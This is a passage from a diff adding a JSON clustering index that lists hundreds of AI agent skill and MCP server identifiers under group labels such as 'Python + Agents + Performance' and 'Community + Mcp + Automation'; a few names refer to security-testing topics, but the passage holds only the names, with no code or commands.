"skill:fp-data-transforms", + "skill:fp-either-ref", + "skill:fp-errors", + "skill:fp-option-ref", + "skill:fp-pipe-ref", + "skill:fp-pragmatic", + "skill:fp-react", + "skill:fp-refactor", + "skill:fp-taskeither-ref", + "skill:fp-ts-errors", + "skill:fp-ts-pragmatic", + "skill:fp-ts-react", + "skill:fp-types-ref", + "skill:framework-migration-code-migrate", + "skill:framework-migration-deps-upgrade", + "skill:framework-migration-legacy-modernize", + "skill:free-tool-strategy", + "skill:frontend-design", + "skill:frontend-dev-guidelines", + "skill:frontend-developer", + "skill:frontend-mobile-development-component-scaffold", + "skill:frontend-mobile-security-xss-scan", + "skill:frontend-patterns", + "skill:frontend-security-coder", + "skill:frontend-slides", + "skill:frontend-ui-dark-ts", + "skill:full-stack-orchestration-full-stack-feature", + "skill:function-tracing", + "skill:game-art", + "skill:game-audio", + "skill:game-design", + "skill:game-development", + "skill:gan-style-harness", + "skill:gcov-coverage", + "skill:gcp-cloud-run", + "skill:gdb-cli", + "skill:gdpr-data-handling", + "skill:gemini-api-dev", + "skill:geo-fundamentals", + "skill:gh-review-requests", + "skill:gha-security-review", + "skill:git-advanced-workflows", + "skill:git-ai-archaeology", + "skill:git-hooks-automation", + "skill:git-pr-workflows-git-workflow", + "skill:git-pr-workflows-onboard", + "skill:git-pr-workflows-pr-enhance", + "skill:git-pushing", + "skill:git-workflow", + "skill:github", + "skill:github-actions-templates", + "skill:github-archive", + "skill:github-automation", + "skill:github-commit-recovery", + "skill:github-evidence-kit", + "skill:github-issue-creator", + "skill:github-ops", + "skill:github-wayback-recovery", + "skill:github-workflow-automation", + "skill:gitlab-ci-patterns", + "skill:gitops-workflow", + "skill:global-chat-agent-discovery", + "skill:go-concurrency-patterns", + "skill:go-playwright", + "skill:go-rod-master", + "skill:godot-gdscript-patterns", + "skill:golang-patterns", + "skill:golang-pro", + "skill:golang-testing", + "skill:google-calendar-automation", + "skill:google-docs-automation", + "skill:google-drive-automation", + "skill:google-sheets-automation", + "skill:google-slides-automation", + "skill:google-workspace-ops", + "skill:grafana-dashboards", + "skill:graphql", + "skill:graphql-architect", + "skill:grpc-golang", + "skill:guide-recap", + "skill:hads", + "skill:haskell-pro", + "skill:headline-psychologist", + "skill:healthcare-cdss-patterns", + "skill:healthcare-emr-patterns", + "skill:healthcare-eval-harness", + "skill:healthcare-phi-compliance", + "skill:helm-chart-scaffolding", + "skill:help", + "skill:helpdesk-automation", + "skill:hexagonal-architecture", + "skill:hierarchical-agent-memory", + "skill:hig-components-content", + "skill:hig-components-controls", + "skill:hig-components-dialogs", + "skill:hig-components-layout", + "skill:hig-components-menus", + "skill:hig-components-search", + "skill:hig-components-status", + "skill:hig-components-system", + "skill:hig-foundations", + "skill:hig-inputs", + "skill:hig-patterns", + "skill:hig-platforms", + "skill:hig-project-context", + "skill:hig-technologies", + "skill:hipaa-compliance", + "skill:hono", + "skill:hookify-rules", + "skill:hosted-agents", + "skill:hr-pro", + "skill:html-injection-testing", + "skill:hubspot-integration", + "skill:hugging-face-cli", + "skill:hugging-face-community-evals", + "skill:hugging-face-dataset-viewer", + "skill:hugging-face-datasets", + "skill:hugging-face-evaluation", + "skill:hugging-face-gradio", + "skill:hugging-face-jobs", + "skill:hugging-face-model-trainer", + "skill:hugging-face-tool-builder", + "skill:hugging-face-trackio", + "skill:hugging-face-vision-trainer", + "skill:humanize-chinese", + "skill:hybrid-cloud-architect", + "skill:hybrid-cloud-networking", + "skill:i18n-localization", + "skill:iconsax-library", + "skill:idea-darwin", + "skill:identity-mirror", + "skill:idor-testing", + "skill:imagen", + "skill:impress", + "skill:incident-responder", + "skill:incident-response-incident-response", + "skill:incident-response-smart-fix", + "skill:incident-runbook-templates", + "skill:infinite-gratitude", + "skill:inngest", + "skill:interaction-design", + "skill:interactive-portfolio", + "skill:internal-comms", + "skill:internal-comms-anthropic", + "skill:interview-coach", + "skill:inventory-demand-planning", + "skill:investigation-logger", + "skill:investor-materials", + "skill:investor-outreach", + "skill:ios-debugger-agent", + "skill:ios-developer", + "skill:issue-triage", + "skill:issues", + "skill:istio-traffic-management", + "skill:iterate-pr", + "skill:iterative-retrieval", + "skill:java-coding-standards", + "skill:java-pro", + "skill:javascript-mastery", + "skill:javascript-pro", + "skill:javascript-testing-patterns", + "skill:javascript-typescript-typescript-scaffold", + "skill:jira-integration", + "skill:jobs-to-be-done-analyst", + "skill:jpa-patterns", + "skill:jq", + "skill:json-canvas", + "skill:julia-pro", + "skill:junta-leiloeiros", + "skill:k6-load-testing", + "skill:k8s-manifest-generator", + "skill:k8s-security-policies", + "skill:kaizen", + "skill:karpathy-guidelines", + "skill:keyword-extractor", + "skill:knowledge-agent", + "skill:knowledge-ops", + "skill:kotlin-coroutines-expert", + "skill:kotlin-coroutines-flows", + "skill:kotlin-exposed-patterns", + "skill:kotlin-ktor-patterns", + "skill:kotlin-patterns", + "skill:kotlin-testing", + "skill:kpi-dashboard-design", + "skill:kubernetes-architect", + "skill:kubernetes-deployment", + "skill:landing-page-generator", + "skill:langchain-architecture", + "skill:langgraph", + "skill:laravel-expert", + "skill:laravel-patterns", + "skill:laravel-plugin-discovery", + "skill:laravel-security", + "skill:laravel-security-audit", + "skill:laravel-tdd", + "skill:laravel-verification", + "skill:last30days", + "skill:latex-paper-conversion", + "skill:launch-strategy", + "skill:lead-intelligence", + "skill:lead-magnets", + "skill:legacy-modernizer", + "skill:legal", + "skill:legal-advisor", + "skill:legal-agreement", + "skill:legal-compare", + "skill:legal-compliance", + "skill:legal-freelancer", + "skill:legal-missing", + "skill:legal-nda", + "skill:legal-negotiate", + "skill:legal-plain", + "skill:legal-privacy", + "skill:legal-report-pdf", + "skill:legal-review", + "skill:legal-risks", + "skill:legal-terms", + "skill:lex", + "skill:lightning-architecture-review", + "skill:lightning-channel-factories", + "skill:lightning-factory-explainer", + "skill:line-execution-checker", + "skill:linear-claude-skill", + "skill:linkedin-automation", + "skill:linkedin-cli", + "skill:linkerd-patterns", + "skill:lint-and-validate", + "skill:linux-privilege-escalation", + "skill:linux-shell-scripting", + "skill:linux-troubleshooting", + "skill:liquid-glass-design", + "skill:literature-review", + "skill:llm-app-patterns", + "skill:llm-application-dev-ai-assistant", + "skill:llm-application-dev-langchain-agent", + "skill:llm-application-dev-prompt-optimize", + "skill:llm-evaluation", + "skill:llm-knowledge-base", + "skill:llm-ops", + "skill:llm-prompt-optimizer", + "skill:llm-structured-output", + "skill:llm-trading-agent-security", + "skill:llm-wiki", + "skill:local-legal-seo-audit", + "skill:local-llm-expert", + "skill:logistics-exception-management", + "skill:loki-mode", + "skill:loss-aversion-designer", + "skill:machine-learning-ops-ml-pipeline", + "skill:macos-menubar-tuist-app", + "skill:macos-spm-app-packaging", + "skill:magic-animator", + "skill:magic-ui-generator", + "skill:make-automation", + "skill:make-plan", + "skill:makefile-dev-workflow", + "skill:makepad-animation", + "skill:makepad-basics", + "skill:makepad-deployment", + "skill:makepad-dsl", + "skill:makepad-event-action", + "skill:makepad-font", + "skill:makepad-layout", + "skill:makepad-platform", + "skill:makepad-reference", + "skill:makepad-shaders", + "skill:makepad-skills", + "skill:makepad-splash", + "skill:makepad-widgets", + "skill:malware-analyst", + "skill:manage-skills", + "skill:manifest", + "skill:manim-video", + "skill:market-research", + "skill:market-sizing-analysis", + "skill:marketing-ideas", + "skill:marketing-psychology", + "skill:matplotlib", + "skill:mattpocock-caveman", + "skill:mattpocock-design-an-interface", + "skill:mattpocock-domain-model", + "skill:mattpocock-edit-article", + "skill:mattpocock-git-guardrails-claude-code", + "skill:mattpocock-github-triage", + "skill:mattpocock-grill-me", + "skill:mattpocock-improve-codebase-architecture", + "skill:mattpocock-migrate-to-shoehorn", + "skill:mattpocock-obsidian-vault", + "skill:mattpocock-qa", + "skill:mattpocock-request-refactor-plan", + "skill:mattpocock-scaffold-exercises", + "skill:mattpocock-setup-pre-commit", + "skill:mattpocock-tdd", + "skill:mattpocock-to-issues", + "skill:mattpocock-to-prd", + "skill:mattpocock-triage-issue", + "skill:mattpocock-ubiquitous-language", + "skill:mattpocock-write-a-skill", + "skill:mattpocock-zoom-out", + "skill:maxia", + "skill:mcp-builder", + "skill:mcp-server-patterns", + "skill:mem-search", + "skill:memory-forensics", + "skill:memory-safety-patterns", + "skill:mermaid-expert", + "skill:messages-ops", + "skill:metasploit-framework", + "skill:micro-saas-launcher", + "skill:microservices-patterns", + "skill:minecraft-bukkit-pro", + "skill:ml-engineer", + "skill:ml-pipeline-workflow", + "skill:mlops-engineer", + "skill:mobile-android-design", + "skill:mobile-design", + "skill:mobile-developer", + "skill:mobile-games", + "skill:mobile-ios-design", + "skill:mobile-security-coder", + "skill:modal-compute", + "skill:modern-javascript-patterns", + "skill:molykit", + "skill:monitor-assistant", + "skill:monorepo-architect", + "skill:monorepo-management", + "skill:monte-carlo-monitor-creation", + "skill:monte-carlo-prevent", + "skill:monte-carlo-push-ingestion", + "skill:monte-carlo-validation-notebook", + "skill:moyu", + "skill:mtls-configuration", + "skill:multi-agent-brainstorming", + "skill:multi-agent-patterns", + "skill:multi-agent-task-orchestrator", + "skill:multi-cloud-architecture", + "skill:multi-platform-apps-multi-platform", + "skill:multi-reviewer-patterns", + "skill:multiplayer", + "skill:n8n-code-javascript", + "skill:n8n-code-python", + "skill:n8n-expression-syntax", + "skill:n8n-node-configuration", + "skill:n8n-validation-expert", + "skill:n8n-workflow-patterns", + "skill:nanobanana-ppt-skills", + "skill:native-data-fetching", + "skill:neon-postgres", + "skill:nerdzao-elite", + "skill:nerdzao-elite-gemini-high", + "skill:nestjs-expert", + "skill:nestjs-patterns", + "skill:network-101", + "skill:network-engineer", + "skill:new-rails-project", + "skill:nextjs-app-router-patterns", + "skill:nextjs-best-practices", + "skill:nextjs-supabase-auth", + "skill:nextjs-turbopack", + "skill:nft-standards", + "skill:nodejs-backend-patterns", + "skill:nodejs-best-practices", + "skill:nodejs-keccak256", + "skill:nosql-expert", + "skill:notebooklm", + "skill:notion-template-business", + "skill:nutrient-document-processing", + "skill:nuxt4-patterns", + "skill:nx-workspace-patterns", + "skill:objection-preemptor", + "skill:observability-engineer", + "skill:observability-monitoring-monitor-setup", + "skill:observability-monitoring-slo-implement", + "skill:obsidian-bases", + "skill:obsidian-cli", + "skill:obsidian-clipper-template-creator", + "skill:obsidian-markdown", + "skill:odoo-accounting-setup", + "skill:odoo-automated-tests", + "skill:odoo-backup-strategy", + "skill:odoo-docker-deployment", + "skill:odoo-ecommerce-configurator", + "skill:odoo-edi-connector", + "skill:odoo-hr-payroll-setup", + "skill:odoo-inventory-optimizer", + "skill:odoo-l10n-compliance", + "skill:odoo-manufacturing-advisor", + "skill:odoo-migration-helper", + "skill:odoo-module-developer", + "skill:odoo-orm-expert", + "skill:odoo-performance-tuner", + "skill:odoo-project-timesheet", + "skill:odoo-purchase-workflow", + "skill:odoo-qweb-templates", + "skill:odoo-rpc-api", + "skill:odoo-sales-crm-expert", + "skill:odoo-security-rules", + "skill:odoo-shopify-integration", + "skill:odoo-upgrade-advisor", + "skill:odoo-woocommerce-bridge", + "skill:odoo-xml-views-builder", + "skill:office-productivity", + "skill:on-call-handoff-patterns", + "skill:onboarding-cro", + "skill:onboarding-psychologist", + "skill:openant-pipeline", + "skill:openant-repo-inspection", + "skill:openant-two-stage-planning", + "skill:openant-vuln-hunting", + "skill:openapi-spec-generation", + "skill:openclaw", + "skill:openclaw-github-repo-commander", + "skill:opensource-pipeline", + "skill:orchestrate-batch-refactor", + "skill:orchestration", + "skill:orchestrator", + "skill:os-scripting", + "skill:oss-hunter", + "skill:page-cro", + "skill:paid-ads", + "skill:pakistan-payments-stack", + "skill:paper-code-audit", + "skill:paper-writing", + "skill:parallel-agents", + "skill:parallel-debugging", + "skill:parallel-feature-development", + "skill:payment-integration", + "skill:paypal-integration", + "skill:paywall-upgrade-cro", + "skill:pc-games", + "skill:pci-compliance", + "skill:pdf-markdown-validator", + "skill:peer-review", + "skill:pentest-checklist", + "skill:pentest-commands", + "skill:performance-engineer", + "skill:performance-optimizer", + "skill:performance-profiling", + "skill:performance-testing-review-ai-review", + "skill:performance-testing-review-multi-agent-review", + "skill:perl-patterns", + "skill:perl-security", + "skill:perl-testing", + "skill:personal-tool-builder", + "skill:phase-gated-debugging", + "skill:php-pro", + "skill:pipecat-friday-agent", + "skill:pitch-psychologist", + "skill:plaid-fintech", + "skill:plan-writing", + "skill:plankton-code-quality", + "skill:planning-with-files", + "skill:playwright-java", + "skill:playwright-skill", + "skill:playwright-ux-ui-capture", + "skill:podcast-generation", + "skill:polars", + "skill:popup-cro", + "skill:posix-shell-pro", + "skill:postgres-best-practices", + "skill:postgres-patterns", + "skill:postgresql", + "skill:postgresql-optimization", + "skill:postmortem-writing", + "skill:powershell-windows", + "skill:pptx-official", + "skill:pr-triage", + "skill:pr-writer", + "skill:price-psychology-strategist", + "skill:pricing-strategy", + "skill:prisma-expert", + "skill:privacy-by-design", + "skill:privilege-escalation-methods", + "skill:product-capability", + "skill:product-lens", + "skill:product-manager", + "skill:product-manager-toolkit", + "skill:product-marketing-context", + "skill:production-code-audit", + "skill:production-scheduling", + "skill:professional-proofreader", + "skill:profile", + "skill:programmatic-seo", + "skill:progressive-estimation", + "skill:progressive-web-app", + "skill:project-development", + "skill:project-flow-ops", + "skill:project-guidelines-example", + "skill:project-skill-audit", + "skill:projection-patterns", + "skill:prometheus-configuration", + "skill:prompt-caching", + "skill:prompt-engineer", + "skill:prompt-engineering", + "skill:prompt-engineering-patterns", + "skill:prompt-library", + "skill:prompt-optimizer", + "skill:protect-mcp-governance", + "skill:protocol-reverse-engineering", + "skill:puzzle-activity-planner", + "skill:pydantic-ai", + "skill:pydantic-models-py", + "skill:pypict-skill", + "skill:python-anti-patterns", + "skill:python-background-jobs", + "skill:python-code-style", + "skill:python-configuration", + "skill:python-design-patterns", + "skill:python-development-python-scaffold", + "skill:python-error-handling", + "skill:python-fastapi-development", + "skill:python-observability", + "skill:python-packaging", + "skill:python-patterns", + "skill:python-performance-optimization", + "skill:python-pptx-generator", + "skill:python-pro", + "skill:python-project-structure", + "skill:python-resilience", + "skill:python-resource-management", + "skill:python-testing", + "skill:python-testing-patterns", + "skill:python-type-safety", + "skill:pytorch-patterns", + "skill:quality-nonconformance", + "skill:quant-analyst", + "skill:radix-ui-design-system", + "skill:rag-engineer", + "skill:rag-implementation", + "skill:rayden-code", + "skill:rayden-use", + "skill:react-best-practices", + "skill:react-component-performance", + "skill:react-flow-architect", + "skill:react-flow-node-ts", + "skill:react-modernization", + "skill:react-native-architecture", + "skill:react-native-design", + "skill:react-nextjs-development", + "skill:react-patterns", + "skill:react-state-management", + "skill:react-ui-patterns", + "skill:readme", + "skill:recallmax", + "skill:receiving-code-review", + "skill:red-team-tactics", + "skill:red-team-tools", + "skill:reference-builder", + "skill:referral-program", + "skill:reflecting-on-sessions", + "skill:regex-vs-llm-structured-text", + "skill:release-notes-generator", + "skill:remotion", + "skill:replication", + "skill:repo-scan", + "skill:requesting-code-review", + "skill:research-ops", + "skill:responsive-design", + "skill:returns-reverse-logistics", + "skill:reverse-documentation", + "skill:reverse-engineer", + "skill:review-delta", + "skill:review-pr", + "skill:revops", + "skill:risk-manager", + "skill:risk-metrics-calculation", + "skill:robius-app-architecture", + "skill:robius-event-action", + "skill:robius-matrix-integration", + "skill:robius-state-management", + "skill:robius-widget-patterns", + "skill:rr-debugger", + "skill:rtk-optimizer", + "skill:rtk-tdd", + "skill:rtk-triage", + "skill:ruby-pro", + "skill:rules-distill", + "skill:rust-async-patterns", + "skill:rust-patterns", + "skill:rust-pro", + "skill:rust-testing", + "skill:saas-multi-tenant", + "skill:saas-mvp-launcher", + "skill:safety-guard", + "skill:saga-orchestration", + "skill:sales-automator", + "skill:sales-enablement", + "skill:salesforce-development", + "skill:santa-method", + "skill:sast-configuration", + "skill:satori", + "skill:scala-pro", + "skill:scanning-tools", + "skill:scanpy", + "skill:scarcity-urgency-psychologist", + "skill:schema-markup", + "skill:scientific-skills-hub", + "skill:scientific-writing", + "skill:scikit-learn", + "skill:screen-reader-testing", + "skill:screenshots", + "skill:scroll-experience", + "skill:seaborn", + "skill:search-first", + "skill:search-specialist", + "skill:secrets-management", + "skill:security-audit", + "skill:security-auditor", + "skill:security-bluebook-builder", + "skill:security-bounty-hunter", + "skill:security-compliance-compliance-check", + "skill:security-requirement-extraction", + "skill:security-review", + "skill:security-scan", + "skill:security-scanning-security-dependencies", + "skill:security-scanning-security-hardening", + "skill:security-scanning-security-sast", + "skill:segment-cdp", + "skill:semgrep-rule-creator", + "skill:semgrep-rule-variant-creator", + "skill:senior-architect", + "skill:senior-frontend", + "skill:senior-fullstack", + "skill:seo", + "skill:seo-aeo-blog-writer", + "skill:seo-aeo-content-cluster", + "skill:seo-aeo-content-quality-auditor", + "skill:seo-aeo-internal-linking", + "skill:seo-aeo-keyword-research", + "skill:seo-aeo-landing-page-writer", + "skill:seo-aeo-meta-description-generator", + "skill:seo-aeo-schema-generator", + "skill:seo-audit", + "skill:seo-authority-builder", + "skill:seo-cannibalization-detector", + "skill:seo-competitor-pages", + "skill:seo-content", + "skill:seo-content-auditor", + "skill:seo-content-planner", + "skill:seo-content-refresher", + "skill:seo-content-writer", + "skill:seo-dataforseo", + "skill:seo-forensic-incident-response", + "skill:seo-fundamentals", + "skill:seo-geo", + "skill:seo-hreflang", + "skill:seo-image-gen", + "skill:seo-images", + "skill:seo-keyword-strategist", + "skill:seo-meta-optimizer", + "skill:seo-page", + "skill:seo-plan", + "skill:seo-programmatic", + "skill:seo-schema", + "skill:seo-sitemap", + "skill:seo-snippet-hunter", + "skill:seo-structure-architect", + "skill:seo-technical", + "skill:sequence-psychologist", + "skill:server-management", + "skill:service-mesh-expert", + "skill:service-mesh-observability", + "skill:settings-audit", + "skill:shadcn", + "skill:shader-programming-glsl", + "skill:sharp-edges", + "skill:shellcheck-configuration", + "skill:shodan-reconnaissance", + "skill:shopify-apps", + "skill:shopify-automation", + "skill:shopify-development", + "skill:signup-flow-cro", + "skill:similarity-search-patterns", + "skill:simplify-code", + "skill:site-architecture", + "skill:skill-check", + "skill:skill-comply", + "skill:skill-creator", + "skill:skill-developer", + "skill:skill-improver", + "skill:skill-optimizer", + "skill:skill-rails-upgrade", + "skill:skill-router", + "skill:skill-scanner", + "skill:skill-seekers", + "skill:skill-stocktake", + "skill:skill-writer", + "skill:slack-bot-builder", + "skill:slack-gif-creator", + "skill:slo-implementation", + "skill:smart-explore", + "skill:snowflake-development", + "skill:social-content", + "skill:social-proof-architect", + "skill:software-architecture", + "skill:solidity-security", + "skill:source-comparison", + "skill:spark-optimization", + "skill:spec-to-code-compliance", + "skill:speckit-updater", + "skill:speed", + "skill:spline-3d-integration", + "skill:springboot-patterns", + "skill:springboot-security", + "skill:springboot-tdd", + "skill:springboot-verification", + "skill:sql-injection-testing", + "skill:sql-optimization-patterns", + "skill:sql-pro", + "skill:sqlmap-database-pentesting", + "skill:square-automation", + "skill:sred-project-organizer", + "skill:sred-work-summary", + "skill:ssh-penetration-testing", + "skill:stage-1-extract", + "skill:stage-2-research", + "skill:stage-3-concepts", + "skill:stage-4-position", + "skill:stage-5-script", + "skill:stage-6-revision", + "skill:startup-analyst", + "skill:startup-business-analyst-business-case", + "skill:startup-business-analyst-financial-projections", + "skill:startup-business-analyst-market-opportunity", + "skill:startup-financial-modeling", + "skill:startup-metrics-framework", + "skill:statsmodels", + "skill:stitch-loop", + "skill:stitch-ui-design", + "skill:strategic-compact", + "skill:stride-analysis-patterns", + "skill:stripe-integration", + "skill:strix-agent-patterns-orchestrator-worker-pattern", + "skill:strix-agent-patterns-sandboxed-tool-runtime", + "skill:strix-agent-patterns-scan-mode-as-skill", + "skill:strix-agent-patterns-shared-wiki-memory-pattern", + "skill:strix-agent-patterns-skill-injection-pattern", + "skill:strix-coordination-root-agent", + "skill:strix-coordination-source-aware-whitebox", + "skill:strix-custom-source-aware-sast", + "skill:strix-frameworks-fastapi", + "skill:strix-frameworks-nestjs", + "skill:strix-frameworks-nextjs", + "skill:strix-protocols-graphql", + "skill:strix-scan_modes-deep", + "skill:strix-scan_modes-quick", + "skill:strix-scan_modes-standard", + "skill:strix-technologies-firebase-firestore", + "skill:strix-technologies-supabase", + "skill:strix-tooling-ffuf", + "skill:strix-tooling-httpx", + "skill:strix-tooling-katana", + "skill:strix-tooling-naabu", + "skill:strix-tooling-nmap", + "skill:strix-tooling-nuclei", + "skill:strix-tooling-semgrep", + "skill:strix-tooling-sqlmap", + "skill:strix-tooling-subfinder", + "skill:strix-vulnerabilities-authentication-jwt", + "skill:strix-vulnerabilities-broken-function-level-authorization", + "skill:strix-vulnerabilities-business-logic", + "skill:strix-vulnerabilities-csrf", + "skill:strix-vulnerabilities-idor", + "skill:strix-vulnerabilities-information-disclosure", + "skill:strix-vulnerabilities-insecure-file-uploads", + "skill:strix-vulnerabilities-mass-assignment", + "skill:strix-vulnerabilities-open-redirect", + "skill:strix-vulnerabilities-path-traversal-lfi-rfi", + "skill:strix-vulnerabilities-race-conditions", + "skill:strix-vulnerabilities-rce", + "skill:strix-vulnerabilities-sql-injection", + "skill:strix-vulnerabilities-ssrf", + "skill:strix-vulnerabilities-subdomain-takeover", + "skill:strix-vulnerabilities-xss", + "skill:strix-vulnerabilities-xxe", + "skill:subagent-driven-development", + "skill:subject-line-psychologist", + "skill:supply-chain-risk-auditor", + "skill:sveltekit", + "skill:swift-actor-persistence", + "skill:swift-concurrency-6-2", + "skill:swift-concurrency-expert", + "skill:swift-protocol-di-testing", + "skill:swiftui-expert-skill", + "skill:swiftui-liquid-glass", + "skill:swiftui-patterns", + "skill:swiftui-performance-audit", + "skill:swiftui-ui-patterns", + "skill:swiftui-view-refactor", + "skill:systematic-debugging", + "skill:systems-programming-rust-project", + "skill:tailwind-design-system", + "skill:tailwind-patterns", + "skill:tanstack-query-expert", + "skill:task-coordination-strategies", + "skill:tavily-web", + "skill:tdd-orchestrator", + "skill:tdd-rust", + "skill:tdd-workflow", + "skill:tdd-workflows-tdd-cycle", + "skill:tdd-workflows-tdd-green", + "skill:tdd-workflows-tdd-red", + "skill:tdd-workflows-tdd-refactor", + "skill:team-builder", + "skill:team-collaboration-issue", + "skill:team-collaboration-standup-notes", + "skill:team-communication-protocols", + "skill:team-composition-analysis", + "skill:team-composition-patterns", + "skill:technical-change-tracker", + "skill:telegram", + "skill:telegram-bot-builder", + "skill:telegram-mini-app", + "skill:templates", + "skill:temporal-golang-pro", + "skill:temporal-python-pro", + "skill:temporal-python-testing", + "skill:terminal-ops", + "skill:terraform-aws-modules", + "skill:terraform-infrastructure", + "skill:terraform-module-library", + "skill:terraform-skill", + "skill:terraform-specialist", + "skill:test-automator", + "skill:test-driven-development", + "skill:test-fixing", + "skill:testing-patterns", + "skill:testing-qa", + "skill:theme-factory", + "skill:theory", + "skill:theory-tester", + "skill:threat-mitigation-mapping", + "skill:threat-modeling-expert", + "skill:threejs-animation", + "skill:threejs-fundamentals", + "skill:threejs-geometry", + "skill:threejs-interaction", + "skill:threejs-lighting", + "skill:threejs-loaders", + "skill:threejs-materials", + "skill:threejs-postprocessing", + "skill:threejs-shaders", + "skill:threejs-skills", + "skill:threejs-textures", + "skill:timeline-report", + "skill:tmux", + "skill:token-audit", + "skill:token-budget-advisor", + "skill:token-coach", + "skill:token-dashboard", + "skill:token-optimizer", + "skill:tool-design", + "skill:tool-use-guardian", + "skill:top-web-vulnerabilities", + "skill:track-management", + "skill:transformers-js", + "skill:trigger-dev", + "skill:trpc-fullstack", + "skill:trust-calibrator", + "skill:turborepo-caching", + "skill:tutorial-engineer", + "skill:typescript", + "skill:typescript-advanced-types", + "skill:typescript-expert", + "skill:typescript-pro", + "skill:ui-a11y", + "skill:ui-component", + "skill:ui-demo", + "skill:ui-page", + "skill:ui-pattern", + "skill:ui-review", + "skill:ui-setup", + "skill:ui-skills", + "skill:ui-tokens", + "skill:ui-ux-designer", + "skill:ui-ux-pro-max", + "skill:ui-visual-validator", + "skill:uncle-bob-craft", + "skill:understand", + "skill:understand-chat", + "skill:understand-dashboard", + "skill:understand-diff", + "skill:understand-domain", + "skill:understand-explain", + "skill:understand-onboard", + "skill:unified-notifications-ops", + "skill:unit-testing-test-generate", + "skill:unity-developer", + "skill:unity-ecs-patterns", + "skill:unreal-engine-cpp-pro", + "skill:unsplash-integration", + "skill:upgrading-expo", + "skill:upstash-qstash", + "skill:using-git-worktrees", + "skill:using-neon", + "skill:using-superpowers", + "skill:uv-package-manager", + "skill:ux-audit", + "skill:ux-copy", + "skill:ux-feedback", + "skill:ux-flow", + "skill:ux-persuasion-engineer", + "skill:ux-ui-map-page-by-page", + "skill:uxui-principles", + "skill:variant-analysis", + "skill:varlock", + "skill:vector-database-engineer", + "skill:vector-index-tuning", + "skill:vercel-ai-sdk-expert", + "skill:vercel-deployment", + "skill:verification-before-completion", + "skill:verification-loop", + "skill:version-bump", + "skill:vexor", + "skill:vexor-cli", + "skill:vibe-code-auditor", + "skill:vibers-code-review", + "skill:viboscope", + "skill:video-editing", + "skill:videodb-skills", + "skill:viral-generator-builder", + "skill:visa-doc-translate", + "skill:visual-design-foundations", + "skill:visual-emotion-engineer", + "skill:vizcom", + "skill:voice-agents", + "skill:voice-refine", + "skill:vr-ar", + "skill:vscode-extension-guide-en", + "skill:vulnerability-scanner", + "skill:watch", + "skill:wcag-audit-patterns", + "skill:web-artifacts-builder", + "skill:web-component-design", + "skill:web-design-guidelines", + "skill:web-games", + "skill:web-performance-optimization", + "skill:web-scraper", + "skill:web-security-testing", + "skill:web3-testing", + "skill:webapp-testing", + "skill:wellally-tech", + "skill:wiki-architect", + "skill:wiki-changelog", + "skill:wiki-onboarding", + "skill:wiki-page-writer", + "skill:wiki-qa", + "skill:wiki-researcher", + "skill:wiki-vitepress", + "skill:windows-privilege-escalation", + "skill:windows-shell-reliability", + "skill:wireshark-analysis", + "skill:wordpress", + "skill:wordpress-centric-high-seo-optimized-blogwriting-skill", + "skill:wordpress-penetration-testing", + "skill:wordpress-plugin-development", + "skill:wordpress-theme-development", + "skill:wordpress-woocommerce-development", + "skill:workflow-automation", + "skill:workflow-orchestration-patterns", + "skill:workflow-patterns", + "skill:workspace-surface-audit", + "skill:writer", + "skill:writing-plans", + "skill:writing-skills", + "skill:x-api", + "skill:x-twitter-scraper", + "skill:xlsx-official", + "skill:xss-html-injection", + "skill:xvary-stock-research", + "skill:yes-md", + "skill:zapier-make-patterns", + "skill:zeroize-audit", + "skill:zod-validation-expert", + "skill:zustand-store-ts" + ] + }, + "1": { + "label": "Python + Agents + Performance", + "members": [ + "skill:007", + "skill:10-andruia-skill-smith", + "skill:20-andruia-niche-intelligence", + "skill:advogado-criminal", + "skill:advogado-especialista", + "skill:agent-orchestrator", + "skill:ai-studio-image", + "skill:amazon-alexa", + "skill:andrej-karpathy", + "skill:auri-core", + "skill:bill-gates", + "skill:claude-monitor", + "skill:code-expert-assistant", + "skill:context-guardian", + "skill:cred-omega", + "skill:elon-musk", + "skill:geoffrey-hinton", + "skill:growth-engine", + "skill:ilya-sutskever", + "skill:image-studio", + "skill:instagram", + "skill:leiloeiro-avaliacao", + "skill:leiloeiro-edital", + "skill:leiloeiro-ia", + "skill:leiloeiro-juridico", + "skill:leiloeiro-mercado", + "skill:leiloeiro-risco", + "skill:matematico-tao", + "skill:monetization", + "skill:multi-advisor", + "skill:product-design", + "skill:product-inventor", + "skill:sam-altman", + "skill:sankhya-dashboard-html-jsp-custom-best-pratices", + "skill:skill-installer", + "skill:skill-sentinel", + "skill:social-orchestrator", + "skill:stability-ai", + "skill:steve-jobs", + "skill:task-intelligence", + "skill:warren-buffett", + "skill:whatsapp-cloud-api", + "skill:yann-lecun", + "skill:yann-lecun-debate", + "skill:yann-lecun-filosofia", + "skill:yann-lecun-tecnico" + ] + }, + "2": { + "label": "Community + Mcp + Automation", + "members": [ + "mcp-server:abaqus-cae-gui-automation", + "mcp-server:adspower-browser-manager", + "mcp-server:aegis-protocol", + "mcp-server:agent-browser", + "mcp-server:agent360-browser", + "mcp-server:aigen-protocol", + "mcp-server:aiqaramba", + "mcp-server:anchor-browser", + "mcp-server:ansible-automation-platform", + "mcp-server:anybrowse", + "mcp-server:appium-mobile-automation", + "mcp-server:apple-automation", + "mcp-server:arcxs-protocol", + "mcp-server:arm64-browser-automation", + "mcp-server:at-protocol", + "mcp-server:athena-protocol", + "mcp-server:autoapply", + "mcp-server:autopilot-browser", + "mcp-server:autron-protocol", + "mcp-server:b-r-automation-studio", + "mcp-server:b-r-automation-studio-help", + "mcp-server:better-playwright", + "mcp-server:blazor-webmcp", + "mcp-server:brave-browser", + "mcp-server:browse-together-playwright", + "mcp-server:browsegrab", + "mcp-server:browser", + "mcp-server:browser-agent-protocol", + "mcp-server:browser-automation", + "mcp-server:browser-automation-playwright", + "mcp-server:browser-control", + "mcp-server:browser-gateway", + "mcp-server:browser-history-analysis", + "mcp-server:browser-lite", + "mcp-server:browser-mcp", + "mcp-server:browser-operator", + "mcp-server:browser-proof", + "mcp-server:browser-use", + "mcp-server:browserbase", + "mcp-server:browserbase-browser-automation", + "mcp-server:browsercat", + "mcp-server:browsercontrol", + "mcp-server:browserless", + "mcp-server:browserloop", + "mcp-server:browserous", + "mcp-server:browserplex", + "mcp-server:browserstack", + "mcp-server:camofox", + "mcp-server:camoufox-browser-automation", + "mcp-server:choreograph-playwright-browser-electron-automation", + "mcp-server:chrome-applescript", + "mcp-server:chrome-browser-automation", + "mcp-server:chrome-browser-control", + "mcp-server:chrome-browser-control-cheikh2shift", + "mcp-server:chrome-browser-smotree", + "mcp-server:chrome-debug", + "mcp-server:chrome-debug-protocol", + 